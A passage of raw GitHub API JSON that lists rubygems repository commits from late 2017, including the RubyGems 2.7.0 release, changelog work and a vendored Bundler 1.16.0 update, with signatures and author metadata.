Samuel Giddins 1509668346 -0500\ncommitter Samuel Giddins 1509668346 -0500\n\n[Manifest] Include the bundler gemspec\n\nThis should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56","html_url":"https://github.com/rubygems/rubygems/commit/240b7983caaf9dced2b863855874f656e4067c56","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"}]},{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-02T04:07:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-02T04:07:57Z"},"message":"Version 2.7.0 with changelog","tree":{"sha":"e979ee85037d8aebcad1d442b55b4703206ccbd1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e979ee85037d8aebcad1d442b55b4703206ccbd1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+podAAoJEAEZW7MV3ahW/E8QAI6Ntb883ahPgXL5qVOav/wB\nPUijVU82g7a/qv0RvI7hp1wDVoNwIA0HmlFzZnPU12SVIPm7VtdaMEq+nTe96fCy\n7RCZPVnJ1GLq0tMe1tRgeqs5/33Wy5x12nlWq22I+2zR0iSpp1KABWtMimOROpJU\n0Wyvv4P5sxBPElAoyI5d1j5IOxIrpsLJvXmG/c2gpCncm8hHIf7V1cWLVF5I11Oh\nXkf0GTS7I/+K0CW9Bo97UDdfQS4ysONK5OcqIp8e/Tp2Mml/hafcAC6a+f467z+o\n62pZvsWJ97qdrhhgXjSO22J/e2D+2Xi1GxTEUBOLi0VuT+DyDug2rI2L1VZAHrZQ\nSBnN6tFVJsmElz6Pfwfa6fX6c4k/66hUNaqinHcW5qhx9zmgNrCiIgOWBmZ7DEjm\nmWF7RhL7APp+ZP9pktROX4N0yWukM6aApQkt7MD0sXjYwaW3HI56KAktXyielti2\n37x3NUiq2lu+TOHxtC/AKoqyl35QhckTKK6QguRh0GBO/XM7s5gryBV7xAZ0R6xM\n1MYwMWjjoLTYN1RsUZs0O2OfrfaOUFVvxFw9ulb4lqXpFelk0+kF6Do7riwHMubN\nXWe0Mn1abRQqPRgyil7DhwJwGtHbea4nOMprnkt/GNcfpJ2x9KPbkgxf+2zZY8of\nIZF+gziTW4SRjAzoiFFU\n=GBAu\n-----END PGP SIGNATURE-----","payload":"tree e979ee85037d8aebcad1d442b55b4703206ccbd1\nparent 141073c772407c4f961aa7160c88ea58caf1f847\nauthor Samuel Giddins 1509595677 -0500\ncommitter Samuel Giddins 1509595677 -0500\n\nVersion 2.7.0 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"141073c772407c4f961aa7160c88ea58caf1f847","url":"https://api.github.com/repos/rubygems/rubygems/commits/141073c772407c4f961aa7160c88ea58caf1f847","html_url":"https://github.com/rubygems/rubygems/commit/141073c772407c4f961aa7160c88ea58caf1f847"}]},{"sha":"141073c772407c4f961aa7160c88ea58caf1f847","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-01T01:45:13Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-01T01:45:13Z"},"message":"Auto merge of #2049 - hsbt:prepare-to-release-rubygems27, r=hsbt\n\nGenerate and categorize changelog items for RG 2.7.0 releases.\n\n@segiddins I create and categorized pull requests used by `util/update_changelog.rb`.\n\n/cc @tenderlove","tree":{"sha":"be672340cfef9b5b5a649c17eb924bb113482bd6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be672340cfef9b5b5a649c17eb924bb113482bd6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/141073c772407c4f961aa7160c88ea58caf1f847","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/141073c772407c4f961aa7160c88ea58caf1f847","html_url":"https://github.com/rubygems/rubygems/commit/141073c772407c4f961aa7160c88ea58caf1f847","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/141073c772407c4f961aa7160c88ea58caf1f847/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ddde3653bc0aa9592e7704ce26469edb31660ec9","url":"https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9","html_url":"https://github.com/rubygems/rubygems/commit/ddde3653bc0aa9592e7704ce26469edb31660ec9"},{"sha":"a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","url":"https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","html_url":"https://github.com/rubygems/rubygems/commit/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40"}]},{"sha":"a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T22:49:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T22:49:55Z"},"message":"Update bundler entry.","tree":{"sha":"68e29313d69e59e81b85f8eda3ea2e1ecdc6612a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/68e29313d69e59e81b85f8eda3ea2e1ecdc6612a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAln4/hMACgkQ+c8TQXJk\n+sIbNQgAtkipV25brJB52s+ZRckjnLNvrRbxkQ40nWKliZRawuVyp7kCW6ZQG/TQ\noiu0cK1gfFEsP5Jy3TlH/zw6aUw9KWsi5sPM4wBuBgi3pNjVALVcdvLfrnKh3urF\nuVNnrTR6AmJaQefJRnztIZbnZuo3Q0VWoKpoIHTLaIcCpDZSBl6Z8WotGot44RQ6\nfIZoR6BBWX29i5jOWZSpkiD8DbcW1k1RTyUCAhSi1qKS83rclQUXyBH5vvkyfWoi\nploZ4iLg0py3fweK4JbosHNiG42KTdP2v6lG9LT0KEkmTGutaESIlWaOq7fRgVup\nqwPF+sElEM7bmIgoJEh5wClKr9IHag==\n=Kw0Q\n-----END PGP SIGNATURE-----","payload":"tree 68e29313d69e59e81b85f8eda3ea2e1ecdc6612a\nparent 444cac36543dd8f68717df24576292bedabdb12a\nauthor SHIBATA Hiroshi 1509490195 +0900\ncommitter SHIBATA Hiroshi 1509490195 +0900\n\nUpdate bundler entry.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","html_url":"https://github.com/rubygems/rubygems/commit/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a0a8dbf6bc8bd8afb24bc2060264cd3f18ebbc40/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"444cac36543dd8f68717df24576292bedabdb12a","url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a","html_url":"https://github.com/rubygems/rubygems/commit/444cac36543dd8f68717df24576292bedabdb12a"}]},{"sha":"ddde3653bc0aa9592e7704ce26469edb31660ec9","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-31T22:42:03Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-31T22:42:03Z"},"message":"Auto merge of #2051 - rubygems:seg-bundler-1-16, r=hsbt\n\nUpdate vendored Bundler to v1.16.0\n\n# Description:\n\nSee https://github.com/bundler/bundler/releases/tag/v1.16.0\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"f964ce5976cb44d51b517f19313171694a12429e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f964ce5976cb44d51b517f19313171694a12429e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9","html_url":"https://github.com/rubygems/rubygems/commit/ddde3653bc0aa9592e7704ce26469edb31660ec9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ddde3653bc0aa9592e7704ce26469edb31660ec9/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1"},{"sha":"64901088a213e3643eca7f1cbf84d5ca7121f486","url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","html_url":"https://github.com/rubygems/rubygems/commit/64901088a213e3643eca7f1cbf84d5ca7121f486"}]},{"sha":"64901088a213e3643eca7f1cbf84d5ca7121f486","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:39:26Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T20:17:58Z"},"message":"[Travis] Expect Bundler to pass on old rubies again","tree":{"sha":"f964ce5976cb44d51b517f19313171694a12429e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f964ce5976cb44d51b517f19313171694a12429e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+Np2AAoJEAEZW7MV3ahWEScP+gJ09Jo7GomT0iyJfcZkcjC9\n3BrURO6GZfQwSVrQsqExUWp1E7iCNJY3T2GA7aWxJaC7UqpcBGjKhCiEs0+VP2BU\nZbxmjaF9JzqtbmL1IOansgUifLyt3i7Nu8rGkxzEnItlgEq5JlJKyb9apgONolY/\nuahi3mqbbH0qO9yu9FnqHWok9pQR15wYJqPL3l72OyJGVbVRYNwmPG0eF+SPlHOL\n/RzeMeTvDuzh/cqWkDIF2I3PBX9gcFs5UWMIskJDj+qLIUzs9lsnEhYgyOBmwVcz\n1RsjHh2L171chtcNJat2rgT1/oyJHfOvnHO/xliWIwBNdXto/XBKyaqmycmu+VCC\ntVYLBCohwi/RfRA+qTaflpkk6c3IobnnOG2sRKTyBJiutpbmxke8idYHB/1GAN+t\nhdemQ1TQEaqqkXkhnZj6pu4s/nR+T7+mkoX/athdMu2ldesIdupkwCMSMWt94i25\nHdgbC3yzQ0Fo3M+Luwj3M9IyCcOygmRhAOZIhjYb6NmfjndIyy6mMLpuCTATtwtG\n1Bw5wI+MlEtJy2RELHtBUgQ7mBVNfZMMVQvqeExIOgKYbsPlvVq2zWztGLDZeZ2g\ntBgGXyJ9RLvbiYgn0D9Msgvd5AXX+7AOWurqjWInGADQeSRjcF9K6d6VsqtXL9lT\nNGM0Dxss/0dXZcRTefcN\n=qb48\n-----END PGP SIGNATURE-----","payload":"tree f964ce5976cb44d51b517f19313171694a12429e\nparent b265097e9385cff31c5e2b1c628ea6f930a0c09d\nauthor Samuel Giddins 1509478766 -0500\ncommitter Samuel Giddins 1509481078 -0500\n\n[Travis] Expect Bundler to pass on old rubies again\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486","html_url":"https://github.com/rubygems/rubygems/commit/64901088a213e3643eca7f1cbf84d5ca7121f486","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/64901088a213e3643eca7f1cbf84d5ca7121f486/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b265097e9385cff31c5e2b1c628ea6f930a0c09d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d","html_url":"https://github.com/rubygems/rubygems/commit/b265097e9385cff31c5e2b1c628ea6f930a0c09d"}]},{"sha":"b265097e9385cff31c5e2b1c628ea6f930a0c09d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:38:42Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:38:42Z"},"message":"Update vendored bundler to v1.16.0","tree":{"sha":"1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+NFCAAoJEAEZW7MV3ahWltIP/2uyR565v+av0ly5/VpdDUBp\n4ektfV4v6nE6rrwXGZH3X1zN56ELZVKejenbq9pYtq9xr4N6wLPJMXxH7EfmN191\nmY0uilpmCa/G/UTp2+42cu6pA0KRotRHLF1g8zEcvihSiovgA8hqs3C26JcNfYn4\n9TirAxM5FLVdBAJF5M/jY51Zbr5Lh/T9qkvqYxYQH+dYvHqdOs0XxJW6QnNOygjK\nxD4jHAxGIbbcj3FroAI6U0GXMV9dJMibeQE0j6p/dFvCWN+OHg++MzB0aTJsLcVV\nwFIwnAFKVbvNF5d6CLc9Q3SY3Wgy0n5XPzGg91s0/5pVPQDt29AaHUS55zc99j13\nTlkSgJu/uVARtuC/lVF+726l5J9UCQ+JVM8bD9HNawc7qWnmvW+Dzz+mdzbmNYpb\nDHpco6Gqy0VDMAZVgf8Q318BrrqRoBhsz4f4B1uOBEqmIrSsn5MikSV9uQZH985A\nT5fYnZJowli99IQQIjnFxqK57SIsh+ppXzc+03NGYnJWjM21Msuj0BizCPzQnhOy\nSFkh7I5zPcamIU7gpMFPAfzqUklXuC+seRzIARmNHM1LVfLWE4hQRGdl/Vc+zN9q\nBMaDakezd1kTTM1x/R477nAC0noRHiPtvA7r5KJKIim8YWeWMPLiyMadWwZ3hPYs\n76+5Gwd9rFe2CopWfB+6\n=fqjW\n-----END PGP SIGNATURE-----","payload":"tree 1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9\nparent 7106c8d706d63ce017c7afb696032c27c0a781a1\nauthor Samuel Giddins 1509478722 -0500\ncommitter Samuel Giddins 1509478722 -0500\n\nUpdate vendored bundler to v1.16.0\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d","html_url":"https://github.com/rubygems/rubygems/commit/b265097e9385cff31c5e2b1c628ea6f930a0c09d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1"}]},{"sha":"444cac36543dd8f68717df24576292bedabdb12a","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T06:58:06Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T06:58:06Z"},"message":"Expand to entry title for rubygems users.","tree":{"sha":"aea02be09479e11b1701a7d97aa9fc95e871de3a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aea02be09479e11b1701a7d97aa9fc95e871de3a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/444cac36543dd8f68717df24576292bedabdb12a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAln4Hv4ACgkQ+c8TQXJk\n+sJZwQgA11ZS7YmvlLI/6cBhwJJoK8KMaASnvK0o4DXnbXMoM/p70MFdFuLXwQXi\nsgZvEuSGsnaacdOq3wOwuLZlJIeQl4G/O69wm3WUmGHL+x1rCbAO2jZLuKD20XuN\nP0BT9sUJ3mIiBueAZ2d0jN7AKr+YoIp6XGuqP6DJeuGt/hYlUndGwr72SUYNKvVa\nFme689WtcN7zDd0bupTx7ObnndrAzrW2NzgXRF+yfpFDpGEQBTeK9nlc5BphXhhU\nV0LPXjJfYrOuDHTA15DEiuzO2v4lEeIxm6MXx46DXkh4z8dOMZJINBVDT95HHPKw\n0F7/bH9Y9xRI39bpPvavKsTAn3+dvg==\n=jO12\n-----END PGP SIGNATURE-----","payload":"tree aea02be09479e11b1701a7d97aa9fc95e871de3a\nparent bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227\nauthor SHIBATA Hiroshi 1509433086 +0900\ncommitter SHIBATA Hiroshi 1509433086 +0900\n\nExpand to entry title for rubygems users.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a","html_url":"https://github.com/rubygems/rubygems/commit/444cac36543dd8f68717df24576292bedabdb12a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/rep